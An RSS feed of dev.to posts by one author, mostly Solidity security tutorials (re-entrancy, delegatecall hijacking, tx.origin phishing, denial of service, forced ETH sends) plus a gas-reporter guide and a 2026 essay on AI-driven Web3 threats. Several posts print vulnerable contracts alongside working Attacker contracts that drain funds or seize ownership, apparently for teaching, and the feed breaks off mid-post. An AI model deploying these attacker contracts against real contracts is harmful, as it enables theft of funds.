<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Rushank Savant</title>
    <description>The latest articles on DEV Community by Rushank Savant (@rushanksavant).</description>
    <link>https://dev.to/rushanksavant</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F849972%2F166490e0-ca17-4eae-9854-5801fb8c39b4.PNG</url>
      <title>DEV Community: Rushank Savant</title>
      <link>https://dev.to/rushanksavant</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/rushanksavant"/>
    <language>en</language>
    <item>
      <title>I Left Web3 in 2022. I Returned to an AI Security Crisis.</title>
      <dc:creator>Rushank Savant</dc:creator>
      <pubDate>Mon, 20 Apr 2026 12:48:31 +0000</pubDate>
      <link>https://dev.to/rushanksavant/i-left-web3-in-2022-i-returned-to-an-ai-security-crisis-2afo</link>
      <guid>https://dev.to/rushanksavant/i-left-web3-in-2022-i-returned-to-an-ai-security-crisis-2afo</guid>
      <description>&lt;p&gt;&lt;strong&gt;The 4-Year Gap&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In May 2022, I stopped publishing. I shifted focus to real-estate and &lt;strong&gt;AI Automation &amp;amp; RAG&lt;/strong&gt; (Retrieval-Augmented Generation) engineering. &lt;br&gt;
My Dev.to page has been a ghost town ever since.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Reality Check&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Coming back to Web3, I expected to see a more mature ecosystem. Instead, I found a massive security debt. While we built better L2s and ZK-rollups, the attackers built better &lt;strong&gt;extraction agents.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why the 2022 Playbook is Dead&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Hyper-Personalized Phishing&lt;/strong&gt;: AI bots scrape your GitHub/X to craft "dev-to-dev" messages you will trust.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Automated Drains&lt;/strong&gt;: Scammers are using RAG tech to find 1-line vulnerabilities in your legacy 2022 code.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The Mailbox Vector&lt;/strong&gt;: Leaked data is being used to mail physical "fake" hardware wallets to users.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;strong&gt;$285M Drift Protocol Phishing hack&lt;/strong&gt; earlier this month was the final proof for me. It wasn’t just a bad link; it was a multi-stage AI attack that bypassed institutional security.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Pivot&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I’m no longer just a dev. I’m turning into &lt;strong&gt;Security Architect&lt;/strong&gt; at the intersection of AI and Web3.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My New Stack Rule&lt;/strong&gt;: In a world of AI-generated lies, &lt;strong&gt;Open Source is the only firewall&lt;/strong&gt;. If it’s not open-source, it’s a vulnerability.&lt;/p&gt;

&lt;p&gt;Let’s get to work.&lt;/p&gt;

</description>
      <category>web3</category>
      <category>ai</category>
      <category>security</category>
      <category>blockchain</category>
    </item>
    <item>
      <title>Using eth-gas-reporter</title>
      <dc:creator>Rushank Savant</dc:creator>
      <pubDate>Tue, 17 May 2022 19:39:37 +0000</pubDate>
      <link>https://dev.to/rushanksavant/using-eth-gas-reporter-kig</link>
      <guid>https://dev.to/rushanksavant/using-eth-gas-reporter-kig</guid>
      <description>&lt;p&gt;A good smart contract is the one which is gas-optimized and not-vulnerable to attacks. &lt;br&gt;
And there are some tools which help us analyze these aspects before deploying contract to production.&lt;br&gt;
(&lt;em&gt;I have made a series of blogs on &lt;a href="https://dev.to/rushanksavant/series/17966"&gt;Gas Optimization techniques&lt;/a&gt; and &lt;a href="https://dev.to/rushanksavant/series/18119"&gt;Security Vulnerabilities&lt;/a&gt; if you are interested&lt;/em&gt;)&lt;/p&gt;

&lt;p&gt;In this blog, we will see how to use &lt;strong&gt;eth-gas-provider&lt;/strong&gt; to get report of gas-consumption and gas-price for deployment and function calls of the contract.&lt;br&gt;
If reading bores you, head over to my &lt;a href="https://github.com/Rushanksavant/eth-gas-reporter" rel="noopener noreferrer"&gt;GitHub repo&lt;/a&gt; and follow along the steps.&lt;/p&gt;
&lt;h3&gt;
  
  
  So let's begin:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Install hardhat if you haven't done already:
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;npm install --save-dev hardhat&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create a sample hardhat project:
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;npx hardhat&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;This will create a Greeter.sol in contracts directory along with some other files and directories.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Installing dependencies:
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;npm i hardhat-gas-reporter&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;



&lt;p&gt;&lt;code&gt;npm i dotenv&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;create a &lt;strong&gt;.env&lt;/strong&gt; file(in main directory) as follows:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;coinMarketCap_API= //get your api-key at https://coinmarketcap.com/api/pricing/
REPORT_GAS= true // set to false when you don't want gas-report
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Now goto &lt;strong&gt;hardhat.config.js&lt;/strong&gt; file, and replace the content in it with the following:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@nomiclabs/hardhat-waffle&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hardhat-gas-reporter&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dotenv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;dotenv&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;dotenv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;solidity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;0.8.4&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;gasReporter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;REPORT_GAS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// will give report if REPORT_GAS environment variable is true&lt;/span&gt;
    &lt;span class="na"&gt;currency&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;USD&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// can be set to ETH and other currencies (see coinmarketcap api documentation)&lt;/span&gt;
    &lt;span class="na"&gt;coinmarketcap&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;coinMarketCap_API&lt;/span&gt; &lt;span class="c1"&gt;// to fetch prices from coinmarketcap api&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;And finally, use the following command to compile, test, and get gas-report for the sample contract:
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;npx hardhat test&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;h3&gt;
  
  
  Output:
&lt;/h3&gt;

&lt;p&gt;You can expect a similar output as follows:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5jxjwcbzzswdmcawkblx.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5jxjwcbzzswdmcawkblx.PNG" alt="Output" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;usd (avg)&lt;/strong&gt; might vary, based on price of ETH and current gas price. The &lt;strong&gt;&lt;em&gt;Avg&lt;/em&gt;&lt;/strong&gt; shows the gas consumption for function call and contract deployment. &lt;/p&gt;

</description>
      <category>solidity</category>
      <category>gasestimation</category>
      <category>gasreporter</category>
      <category>hardhat</category>
    </item>
    <item>
      <title>Prevent External Contracts</title>
      <dc:creator>Rushank Savant</dc:creator>
      <pubDate>Tue, 17 May 2022 15:30:21 +0000</pubDate>
      <link>https://dev.to/rushanksavant/prevent-contract-to-call-1bfk</link>
      <guid>https://dev.to/rushanksavant/prevent-contract-to-call-1bfk</guid>
      <description>&lt;p&gt;Almost every vulnerability you see in solidity smart contracts are caused by hackers developing some attacker contract and this attacker contract then harming the vulnerable contract.&lt;br&gt;
By the way, I have made a series on smart contract vulnerabilities if you find it interesting (&lt;a href="https://dev.to/rushanksavant/series/18119"&gt;link&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;But what if there is a way by which we can know if function caller is a contract or a normal wallet address? &lt;br&gt;
Then we can stop any external contract from interacting with our contract, hence saving our contract from being hacked.&lt;/p&gt;

&lt;p&gt;Let's see how this can be achieved:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;consider a contract vulnerable to re-entrancy (check my &lt;a href="https://dev.to/rushanksavant/re-entrancy-44m9"&gt;re-entracy&lt;/a&gt; blog)&lt;/li&gt;
&lt;li&gt;in this case, hacker will take advantage of late balance update in state mapping, and will keep on re-entering contract using his attacker contract until all funds are drained.&lt;/li&gt;
&lt;li&gt;but not if we stop external contracts to call &lt;code&gt;MyContract&lt;/code&gt; functions. 😎
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.1;

contract MyContract { // this contract is vulnerable to re-entracy attack

    mapping (address =&amp;gt; uint) balances;

    modifier noContract { // this won't allow external contracts to interact with this contract
        require(tx.origin == msg.sender, "No contracts allowed");
        _;
    }

    function deposit() external payable noContract { // using noContract 
        balances[msg.sender] += msg.value;
    }

    function withdraw() external payable noContract { // using noContract 
        uint amount = balances[msg.sender];
        require(amount &amp;gt; 0, "Nothing to withdraw");

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Send operation failed");

        balances[msg.sender] = 0;
    }

    function getBalance() external view returns(uint balance) {
        balance = address(this).balance;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;We are stopping external smart contracts using &lt;code&gt;noContract&lt;/code&gt; modifier. It verifies if function caller(&lt;code&gt;msg.sender&lt;/code&gt;) is same as transaction initiator(&lt;code&gt;tx.origin&lt;/code&gt;). &lt;br&gt;
Wanna know more about &lt;code&gt;tx.origin&lt;/code&gt;? Visit &lt;a href="https://dev.to/rushanksavant/careful-while-using-txorigin-5c90"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now when some Attacker contract will try to steal funds from MyContract, transaction will fail.&lt;br&gt;
Attacker contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.1;

interface IMyContract{
    function deposit() external payable;
    function withdraw() external payable;
}

contract Attacker {
    IMyContract myContract;

    constructor(address _myContract) payable {
        myContract = IMyContract(_myContract);
    }

    fallback() external payable {
        if (address(myContract).balance &amp;gt; 0) {
            myContract.withdraw();
        }
    }

    function attack() external payable {
        myContract.deposit{value: 1 ether}();
        myContract.withdraw();
    }

    function getBalance() external view returns(uint balance) {
        balance = address(this).balance;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>solidity</category>
      <category>security</category>
      <category>bestpractice</category>
    </item>
    <item>
      <title>Delegate Call - Context is Preserved</title>
      <dc:creator>Rushank Savant</dc:creator>
      <pubDate>Mon, 16 May 2022 19:32:32 +0000</pubDate>
      <link>https://dev.to/rushanksavant/delegate-call-context-is-preserved-3hcn</link>
      <guid>https://dev.to/rushanksavant/delegate-call-context-is-preserved-3hcn</guid>
      <description>&lt;p&gt;This is a very simple and rare vulnerability which we might never see in real-world. But let's take a sneak-peak anyway.&lt;/p&gt;

&lt;p&gt;Let's understand how delegate call works.&lt;br&gt;
contract_A has a function which delegate calls contract_B. When that function is called, state of contract_A is changed after successful execution of code in contract_B.&lt;/p&gt;

&lt;p&gt;Consider the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract HackMe {
    address public owner;
    Lib _libContract;

    constructor(address _lib) {
        owner = msg.sender;
        _libContract = Lib(_lib);
    }

    fallback() external payable {
        address(_libContract).delegatecall(msg.data);
    }
}

contract Lib {
    address public owner;

    function changeOwner() external {
        owner = msg.sender;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you are clear with delegate call, you might have seen the problem above. If not, no worries keep reading...&lt;/p&gt;

&lt;p&gt;How HackMe can be hacked to change owner variable?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If an attacker calls &lt;code&gt;changeOwner()&lt;/code&gt; function in HackMe , this will trigger the fallback function (because there is no &lt;code&gt;changeOwner()&lt;/code&gt; in HackMe).&lt;/li&gt;
&lt;li&gt;fallback function delegate calls Lib contract calling &lt;code&gt;msg.data&lt;/code&gt; which is &lt;code&gt;changeOwner()&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;this will call &lt;code&gt;changeOwner()&lt;/code&gt; in Lib which will change &lt;code&gt;owner&lt;/code&gt;(in HackMe) to &lt;code&gt;msg.sender&lt;/code&gt;(i.e attacker address).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;See the following contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Attacker {
    address hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() external {
        hackMe.call(abi.encodeWithSignature("changeOwner()"));
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>solidity</category>
      <category>security</category>
      <category>bestpractice</category>
    </item>
    <item>
      <title>Careful while using tx.origin</title>
      <dc:creator>Rushank Savant</dc:creator>
      <pubDate>Mon, 16 May 2022 09:20:14 +0000</pubDate>
      <link>https://dev.to/rushanksavant/careful-while-using-txorigin-5c90</link>
      <guid>https://dev.to/rushanksavant/careful-while-using-txorigin-5c90</guid>
      <description>&lt;p&gt;In solidity we have two methods to access the address of caller or transaction maker, &lt;code&gt;tx.origin&lt;/code&gt; and &lt;code&gt;msg.sender&lt;/code&gt;. Following are the differences between both:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; &lt;strong&gt;&lt;em&gt;&lt;code&gt;tx.origin&lt;/code&gt;&lt;/em&gt;&lt;/strong&gt; - Alice -&amp;gt; contract_A -&amp;gt; contract_B; &lt;code&gt;tx.origin&lt;/code&gt; = Alice&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;&lt;em&gt;&lt;code&gt;msg.sender&lt;/code&gt;&lt;/em&gt;&lt;/strong&gt; - Alice -&amp;gt; contract_A -&amp;gt; contract_B;
&lt;code&gt;msg.sender&lt;/code&gt; = contract_A &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It's important to be careful while using tx.origin, as this opens possibilities of phishing attacks. &lt;/p&gt;

&lt;p&gt;Let's understand this with an example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Alice creates a wallet contract (Victim) that accepts ETH from anyone and only lets Alice transfer/withdraw.&lt;/li&gt;
&lt;li&gt;in the &lt;code&gt;transfer()&lt;/code&gt; function, we can see &lt;code&gt;tx.origin&lt;/code&gt; is used to verify if caller was Alice.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Victim {
    address owner;

    constructor() {
        owner = msg.sender; // Alice
    }

    receive() external payable {

    }

    function transfer(address _to, uint amount) external payable {
        require(tx.origin == owner, "Only owner can cause this txn");

        (bool sent,) = _to.call{value: amount}("");
        require(sent, "Send txn failed");
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker can take advantage of this by scamming Alice to call &lt;code&gt;attack()&lt;/code&gt; function of the Attacker contract.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This will call &lt;code&gt;transfer()&lt;/code&gt; function of the Victim contract where &lt;code&gt;tx.origin&lt;/code&gt; will be equal to Alice.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;interface IVictim{
    function transfer(address _to, uint amount) external payable;
    function getBalance() external view returns(uint);
}

contract Attacker {
    address attacker;
    IVictim victimContract;

    constructor(address _victim) {
        attacker = msg.sender;
        victimContract = IVictim(_victim);
    }

    function attack() external payable { // attacker will trick Alice to call this function
        victimContract.transfer(attacker, address(victimContract).balance);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Such phishing attacks can be prevented by using &lt;code&gt;msg.sender&lt;/code&gt; in place of &lt;code&gt;tx.origin&lt;/code&gt;.&lt;br&gt;
Because even if Alice is scammed to call &lt;code&gt;attack()&lt;/code&gt; function of the Attacker contract, when this will call &lt;code&gt;transfer()&lt;/code&gt; function, &lt;code&gt;msg.sender&lt;/code&gt; will be equal to the address of Attacker contract. Hence transaction will fail.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract VictimSafe {
    address owner;

    constructor() {
        owner = msg.sender;
    }

    receive() external payable {

    }

    function transfer(address _to, uint amount) external payable {
        require(msg.sender == owner, "Only owner can cause this txn");
        // changing tx.origin to msg.sender, to avoid phishing attack

        (bool sent,) = _to.call{value: amount}("");
        require(sent, "Send txn failed");
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>solidity</category>
      <category>security</category>
      <category>bestpractice</category>
    </item>
    <item>
      <title>Delegate Call - Order of Variables</title>
      <dc:creator>Rushank Savant</dc:creator>
      <pubDate>Mon, 16 May 2022 08:55:52 +0000</pubDate>
      <link>https://dev.to/rushanksavant/delegate-call-order-of-variables-4k3</link>
      <guid>https://dev.to/rushanksavant/delegate-call-order-of-variables-4k3</guid>
      <description>&lt;p&gt;It's important that we keep in mind about how order of variables matter in contracts while using delegate call.&lt;/p&gt;

&lt;p&gt;Let's understand this with the help of following example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HackMe is a contract that delegate calls Lib contract to do something&lt;/li&gt;
&lt;li&gt;note that variable order is not same in both of these contract
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.7.6;

contract HackMe {
    address lib;
    address public owner;
    uint someNumber;

    constructor(address _lib) {
        owner = msg.sender;
        lib = _lib;
    }

    function doStuff(uint _num) public {
        lib.delegatecall(abi.encodeWithSignature("doStuff(uint256)", _num));
    }
}

contract Lib {
    uint someNumber;

    function doStuff(uint _num) public {
        someNumber = _num;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;doStuff()&lt;/code&gt; function in HackMe delegate calls &lt;code&gt;doStuff()&lt;/code&gt; function in Lib. And in Lib, this function changes the first variable of the first slot, &lt;br&gt;
 which is &lt;code&gt;uint someNumber&lt;/code&gt; in Lib but &lt;code&gt;address lib&lt;/code&gt; in HackMe. Since delegate call changes state of caller using the delegated contract's function, this will cause change in the &lt;code&gt;address lib&lt;/code&gt; in HackMe (because that's the first variable in HackMe).&lt;/p&gt;

&lt;p&gt;Let's now see how Attacker can take advantage of this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Attacker will have same variable order as HackMe contract.&lt;/li&gt;
&lt;li&gt;Attacker will have a &lt;code&gt;doStuff()&lt;/code&gt; function with same signature, which will change the owner variable (2md variable). &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Step - I&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Attacker will call &lt;code&gt;doStuff()&lt;/code&gt; function in HackMe passing it's own address in uint form (not possible after 0.8.0) as input. &lt;/li&gt;
&lt;li&gt;This will change  &lt;code&gt;address lib&lt;/code&gt; value to the address of Attacker contract. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Step - II&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Now Attacker will again call &lt;code&gt;doStuff()&lt;/code&gt; function in HackMe with some random uint input, this time HackMe delegate calls the Attacker (because Step - I) &lt;/li&gt;
&lt;li&gt;And &lt;code&gt;doStuff()&lt;/code&gt; function in Attacker will change the owner variable to msg.sender(attacker address) in the HackMe. Hence high-jacking the HackMe contract.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;See the following contract to understand better:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Attacker {
    address Lib;
    address public owner;
    uint someNumber;

    HackMe hackMe;

    constructor(address _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() external {
        hackMe.doStuff(uint(address(this)));  // -------- (I)
        hackMe.doStuff(1);  // -------- (II)
    }

    function doStuff(uint _num) public { // HackMe will delegatecall this when (II) gets execute after (I)
        owner = msg.sender; // updates owner of HackMe 
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The only solution to avoid such attack is the maintain the variable order in Lib, same as Hackme.&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>security</category>
      <category>bestpractice</category>
    </item>
    <item>
      <title>Denial of Service</title>
      <dc:creator>Rushank Savant</dc:creator>
      <pubDate>Sun, 15 May 2022 18:55:25 +0000</pubDate>
      <link>https://dev.to/rushanksavant/denial-of-service-4gk2</link>
      <guid>https://dev.to/rushanksavant/denial-of-service-4gk2</guid>
      <description>&lt;p&gt;Let's say there is a contract which allows maximum ETH donner to become owner of that contract. &lt;br&gt;
In this blog, we will see how it is possible to highjack such contract taking advantage of a contract vulnerability.&lt;/p&gt;

&lt;p&gt;Consider following contract:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;anyone can call &lt;code&gt;becomeOwner()&lt;/code&gt; function and become owner by sending amount greater than &lt;code&gt;balance&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;on calling &lt;code&gt;becomeOwner()&lt;/code&gt;, if condition is met, &lt;code&gt;balance&lt;/code&gt; amount is transfered to current owner and &lt;code&gt;owner&lt;/code&gt; and &lt;code&gt;balance&lt;/code&gt; state variables are updated.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Victim {
    address public owner;
    uint public balance;

    function becomeOwner() external payable {
        require(msg.value &amp;gt; balance);
        (bool sent, ) = owner.call{value: balance}("");
        require(sent, "Send failed");

        balance = msg.value;
        owner = msg.sender;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now let's say Victim contract is unable to send current balance to current owner, i.e &lt;code&gt;require(sent, "Send failed");&lt;/code&gt; is not satisfied. &lt;br&gt;
In that case, current owner can never be removed and new owner can never be added. That's exactly how attackers can highjack the contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Attacker { // has no fallback function, hence can't recieve eth
    Victim victimCOntract;

    constructor(address _victim) {
        victimCOntract = Victim(_victim);
    }

    function attack() external payable {
        victimCOntract.becomeOwner{value: msg.value}();
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Attacker function has no receive/fallback function, and hence cannot receive ETH, when someone tries to send ETH transaction fails. And hence &lt;code&gt;becomeOwner()&lt;/code&gt; function is never executed by anyone.&lt;/p&gt;

&lt;p&gt;You might have got a question, if Attacker can't receive ETH how can it send ETH to Victim? &lt;br&gt;
Well answer to this is simple, if you see the &lt;code&gt;attack()&lt;/code&gt; function you might notice the ETH is never supplied to Attack contract. It's transacted from function caller to Victim directly.&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>security</category>
      <category>bestpractice</category>
    </item>
    <item>
      <title>Force Send ETH - 2</title>
      <dc:creator>Rushank Savant</dc:creator>
      <pubDate>Sat, 14 May 2022 20:46:50 +0000</pubDate>
      <link>https://dev.to/rushanksavant/force-send-eth-2-5b1l</link>
      <guid>https://dev.to/rushanksavant/force-send-eth-2-5b1l</guid>
      <description>&lt;p&gt;In the last post &lt;a href="https://dev.to/rushanksavant/force-send-eth-1-2on1"&gt;Force Send ETH - 1&lt;/a&gt;, we understood about &lt;code&gt;selfdestruct&lt;/code&gt; and how it's used to forcefully send ETH to any contract.&lt;/p&gt;

&lt;p&gt;Now let's take an example to understand what's the vulnerability in this. Consider the following contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Crowdfund {
    // this contract only accepts a certain amount of funds
    // if someone tries to send an amount that exceeds contract balance more than the limit, tnx fails
    // funds are transfered to an address only when contract balance equals fund limit

    uint fundLimit = 3 ether;
    bool contractOpen = true;

    function donate() external payable { // for others to donate eth to this contract
        require(contractOpen, "Contract has stopped recieving funds");
        require(address(this).balance &amp;lt;= fundLimit, "Can't send specified amount");
        // note: we cannot do address(this).balance + msg.value, because address(this).balance already takes msg.value
    }

    function getBalance() external view returns(uint) { // to get current balance of this contract
        return address(this).balance;
    } 

    function sendFunds() external { // to send all collected funds
        require(contractOpen, "Contract has stopped recieving funds");
        require(address(this).balance == fundLimit, "Fund limit not reached yet");
        contractOpen = false; // contract closed
        payable(address(0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB)).transfer(address(this).balance);
    }
}
